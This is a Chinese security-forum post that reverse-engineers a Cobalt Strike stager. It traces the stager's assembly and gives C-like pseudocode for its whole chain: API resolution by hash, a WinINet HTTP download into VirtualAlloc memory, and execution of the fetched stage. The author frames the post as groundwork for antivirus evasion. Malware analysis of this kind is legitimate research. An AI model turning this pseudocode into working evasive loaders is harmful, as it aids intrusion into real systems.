社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 56阅读
  • 4回复

[分享]Cobalt Strike剖析及免杀系列(三)cs马分析stager拉stage过程全剖析

楼层直达
z3960 
级别: 茶馆馆主
发帖
770867
飞翔币
207694
威望
215657
飞扬币
2511646
信誉值
8

背景        之前想找点文章看看stager的运行结构做做stager的免杀,奈何各大论坛还有搜索引擎都没有具体的运行详解,只有一些壳的ida直接反编译逆向过程,对于动态到程序中的stager逆向还没有具体的反编译程序,所以出篇文章具体说一下。Tips        下面的分析是针对汇编的分析,如果看起来嫌麻烦可以直接看最后面写的伪代码,二者程序结构相同,手工写源码免杀可以直接用这两个汇编或伪代码逻辑。分析分析是按照顺序结构从代码开始到代码结束按步分析,前面可能会出现一些后面的代码但是还没有分析到,可以跳过理解到下面说到了再回头看。这里涉及到了寻找函数的代码,为了方便文章内容的制作,我们就暂且称它为findfunc_andexp,这个东西不用急,先知道有这么个函数就行,下面到了调用它的时候再去仔细说。对于payload为了对抗杀软的启发式扫描,所以汇编上会对代码逻辑做混淆操作,在ida中的动态反编译也不是很精确,所以这次就就着上一次发的再往下做做分析。第一步清空标志寄存器df位并做函数跳转,清空的操作是为了恢复上个函数可能会遗留的条件判断。跳到…8f弹出之前call保存的返回地址,并入栈这三个立即数与一个寄存器值。先看这几个立即数,最上面的两个立即数组成了一个String的字符串,存储的是wininet这个函数名,后面的0x726774c是某函数名字符串进行特定编码后的结果,用作后来loadlibrary调用的参数处理在20001处call调用2008f,进入到findfunc_andexp函数的操作中,这里我们先等下分析这边的代码,从2008f往后面的代码都是在调findfunc_andexp的代码(这些是根据后面的第二个循环结构得到的分析结果,刚看可能会有点懵,建议先往下看,后面提示再到前面来找这段!!)这是之前静态的代码,可以看到没有给startaddress传递除了payload地址之外的任何参数。并且startAddress函数也只使用了自身地址这一个参数。前面弹出返回地址栈到ebp,这里是直接又call ebp相当于retn了,堆栈平衡操作返回到20006首先将全部32位寄存器压栈,这里我们是32位的程序,所以就是把全部寄存器压栈处理。Mov ebp,esp做刷新栈区现在的栈内为空。首先xor清空edx,再对edx做赋值首先从fs寄存器偏移30h的地址上的值赋给edx(fs段寄存器存储程序的环境数据)这里给出fs结构数据::上面汇编中下一步继续偏移c位找到ldr指针实际上是一个指向系统调用dll的链表指针。这里直接用windbg dt查看ntdll的数据结构就ok然后再在ldr的基础上再偏移14h到InMemoryOrderModuleList列表_LIST_ENTRY第一位就是指向LDR_DATA_TABLE_ENTRY的地址从20009到20015这几行代码就是找到对应这个进程的进程名并传入到esi寄存器中再往下加载edx偏移26h的数据存到ecx中,由下面代码逻辑可以判断ecx中的数据是存储在esi中数据的大小。继续往下重置eax与edi接下来通过lods byte向al输入一个字节的数据,并且esi地址向后偏移一个字节上面这段红色部分是一个循环,大概的代码逻辑就是For(ecx=lenth(*(void*)esi);ecx>0;ecx--){        Al = [esi];        Esi++;        If(al<’a’){}else{        Al=al-0x20;}        Edi=edi>>13;Edi=edi+al;}此段代码的目的是对这个程序名的一个加密算法,作用是为了后面与提供函数名编码做对比这样就避免了直接字符串对比,也算是一种加密方式吧保存InMemoryOrderModuleList与加密结果到堆栈,从20030到2003b是获取整个壳进程的导出表的rva值并判断是否为空。这里我用的是cs生成的原生壳,非dll没有导出表很正常紧接上面的内容,将之前存入栈中的edi与edx取出,并且edx重新赋值为下一个模块的InMemoryOrderModuleList,并且重复20015行往下的对模块进程名的字符做编码处理,并判断有无导出表重复的内容可以查看上面的这一部分往下。然后这里重新找到了ntdll模块并且获取到了dll导出表地址这里看到edx与eax分别赋予模块基址,pe头va获取导出表va入栈,获取导出表面向模块的导出函数总数存入ecx,获取导出名称表ent偏移地址到ebx中获取导出名称表的虚拟地址到ebx中继续上面的分析,这个截图是第二个循环结构,也是利用到了上面提到的三个立即数,这里可以到上面查看当时提前给出的解析。首先是做了两个循环,第一层大循环用来循环模块内的函数名,第二层循环是为了将整个函数名做编码处理,待做完编码处理与函数提供的编码数据做对比

[C] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
For(ecx=ntdll模块函数数量;ecx>0;ecx--){        While(al!=0){                Al=*(VOID*)esi;        Edi>>13;        Edi=edi+al;}If((模块名编码+函数名编码)==需要的函数编码){        Jmp 20068;//也就是继续往下执行}        Jmp 20088;}这里我在跳转的下面打了一个断点,然后等待执行完编码确定的函数时loadlibraryexa这里的断点有时候打了会没有反应,如果遇到这种情况可以重新启动一遍od再在需要的地方打断点,这个bug还是很容易触发的,我用的是吾爱破解的魔改od不知道是不是这个的问题。做逆向的时候由于栈存的数据有点乱所以还是建议新手最好做下关键寄存器和栈数据的记录这里重新赋值eaxntdll导出表地址,重新偏移24h个字节找到导出序号表,这里就是经典的导出序号表找到导出函数序号,找到序号后根据序号索引找到函数基址,与dll加载时导入表重载相同,算是动态执行函数但是没有dll反射注入过程。这里如果想要进一步看dll加载与调用过程可以看我的另外一篇文章,里面说的很详细也在github上给出了源码:https://mp.weixin.qq.com/s/FRi66i6agJN0WzlhJUfQow公众号喜欢的朋友可以关注下,感谢!!!!下面的就是找导出序号表中的对应序号下面这个就是找到导出地址表,并且指针四字节×序号加上模块基址就是eat的va了,下面的代码来覆盖之前栈中编码过的立即数数据继续这是一系列弹栈操作,前两个弹栈没用,这里是一直恢复到之前清空栈区的操作。到这里一个函数算是调用完毕,也就是说这一部分分析了这么多,其实就是在ntdll中找到loadlibraryexa函数地址。继续弹栈的下面,这里入栈ecx跳转eaxEcx是返回地址eax是loadlibrary地址,之前入栈的三个立即数有一个是编码的函数名,另外两个是字符串,这里栈区中调用loadlibrary函数回到开始的立即数位置也就是调用loadlibrary(wininet)动态加载这个dll模块,并相当于call调用入栈一个retn地址继续往下进入到ntdll中执行加载dll操作,这里我们打断点到返回查看内存分布,wininet和一些ws_32网络模块已经加载到内存中了下面是一段花指令混淆操作现在结合堆栈再来重新分析一下之前的结构(这里重新弄了下od,之前用的吾爱破解的od有点bug,如果想做动态逆向还是推荐下原版od比较好,吾爱的打断点一直不跳就很烦)入栈wininet字符串,入栈esp,入栈编码后的函数名Esp这个地址就是wininet的首地址,在32位高级语言中的String类型其实就是一个四字节的char指针指向首地址,那这个就是findfunc_andexp后函数要执行的参数,为什么这么说,看findfunc_andexp中的代码弹栈ecx和edx,入栈ecx跳转eax此时的eax存储的是findfunc_andexp中查找到的函数地址,弹出两个栈,因为之前的call会自动入栈一个返回地址,所以栈中结构就是两次弹栈再入栈正好就是执行find后的函数,并且返回地址也是之前说的从开头2008f向下顺序执行依次调用并执行被find的函数的操作函数整体结构::Void Findfunc_andexp(DWORD 编码函数名数据,DWORD 参数,……){……}Findfunc_andexp();Findfunc_andexp();Findfunc_andexp();……这里的Ebp存储了findfunc_andexp函数地址所以现在我们只要在后面每个call ebp向后一个语句处打断点就能找到调用的函数顺序第一次调用是loadlibrary加载网络模块第二次调用在网络模块中的internetopenurla下面是参数第三次调用internetconnect,参数在栈中栈顶去除返回具体参数作用可以查看msdn官方文档这里就先举个栗子,后面的就不举了:HINTERNET InternetConnectA(  [in] HINTERNET     hInternet,  [in] LPCSTR        lpszServerName,  [in] INTERNET_PORT nServerPort,  [in] LPCSTR        lpszUserName,  [in] LPCSTR        lpszPassword,  [in] DWORD         dwService,  [in] DWORD         dwFlags,  [in] DWORD_PTR     dwContext);第四次调用httpopenrequesta这里的参数带一个/YTFi,如果不知道的同学可以自己分析下cs源码,这里是随机生成四个字符是url的path请求路径,这里就是后面stage的具体dll,里面一百多个case用来执行具体的控制操作第五次调用internetsetoptiona第六次调用HttpSendRequestA第七次调用user32.GetDesktopWindow第八次调用wininet.InternetErrorDlg第九次调用kernel32.virtualAlloc第十次调用wininet.InternetReadFile这里是循环调用每次请求2000字节数据写入到virtualalloc申请的内存中这里注意virtualalloc申请的内存地址,循环调用读取后开启新线程执行virtualalloc地址上的pe文件这段就是前置stager拉动的stage上线   这里晚截图了几分钟值得注意的是这里stager拉动的stage也是被加密的数据,经过stager解密才能使用这里通过弹栈的方式继承上一个函数的参数retn跳转到加密stage中从这个stage的开头执行,这里的开头是一段解密代码,用于对下面stagepe的解密并启动新线程。这里再此打开ida对前面几行代码做静态也可以直接反编译到c,不过可能有一些错误,我也没仔细看,等下一次仔细说说这个问题。到这stage内容就分析完毕了,这次篇幅有点多了,剩下的stage就下次再找时间写篇文章分析下吧。伪代码结构

[C] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Void Findfunc_andexp(dword bianma, dword canshu, ……){For(ecx=ntdll模块函数数量;ecx>0;ecx--){                While(al!=0){                        Al=*(VOID*)esi;                Edi>>13;                Edi=edi+al;}If((模块名编码+函数名编码)==需要的函数编码){/*这个函数是在pe的导出表中找到导出序号表,导出序号表再找导出地址表再找到地址*/Eax=Findfuncaddress();                Pop 编码;Jmp eax;//也就是继续往下执行//如果一函数形式是:Exp(dword canshu, ……);}                Jmp 20088;}//这段是找到函数并执行         }Void main(……){        Findfunc_andexp(“loadlibrarya的编码”,“wininet”);        Handle_net1= Findfunc_andexp(“internetopenurla”,0,0,0,0,0);        Handle_net2=Findfunc_andexp(“internetconnecta”,Handle_net1,20331h,1c1h,0h,0,3,0,0);//这个参数是上一次系统调用打开的handle表Handle_net3=Findfunc_andexp(“httpopenrequesta”,Handle_net2,0,”/XXXX”,0,0,0,84c03200h)//这些handle都是系统调用产生的文件句柄        Findfunc_andexp(“internetsetoptiona”, Handle_net3,1fh,7dff78h,4);Findfunc_andexp(“HttpSendRequestA”, Handle_net3, ”user-agent:xxxx”, ffffffffh,0,0);HWND = Findfunc_andexp(“user32.GetDesktopWindow” );//这个返回窗口句柄Findfunc_andexp(“InternetErrorDlg”,10010h, Handle_net3,7efd8800h,7,0);Startaddress = Findfunc_andexp(“virtualalloc”,0,400000h,1000h,40h);While(){        Findfunc_andexp(“internetreadfile”, Handle_net3,startaddress,2000h,7dff74h)}Void (void*)(*startaddress)(void);}
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
835713
飞翔币
226835
威望
224673
飞扬币
2454513
信誉值
0

只看该作者 1 发表于: 2023-12-31
来看一下
级别: 超级版主
发帖
835713
飞翔币
226835
威望
224673
飞扬币
2454513
信誉值
0

只看该作者 2 发表于: 2023-12-31
不错,了解了
srwam 
级别: 超级版主
发帖
636486
飞翔币
196
威望
25287
飞扬币
2870039
信誉值
0

只看该作者 3 发表于: 01-26
来看看
srwam 
级别: 超级版主
发帖
636486
飞翔币
196
威望
25287
飞扬币
2870039
信誉值
0

只看该作者 4 发表于: 01-26
了解一下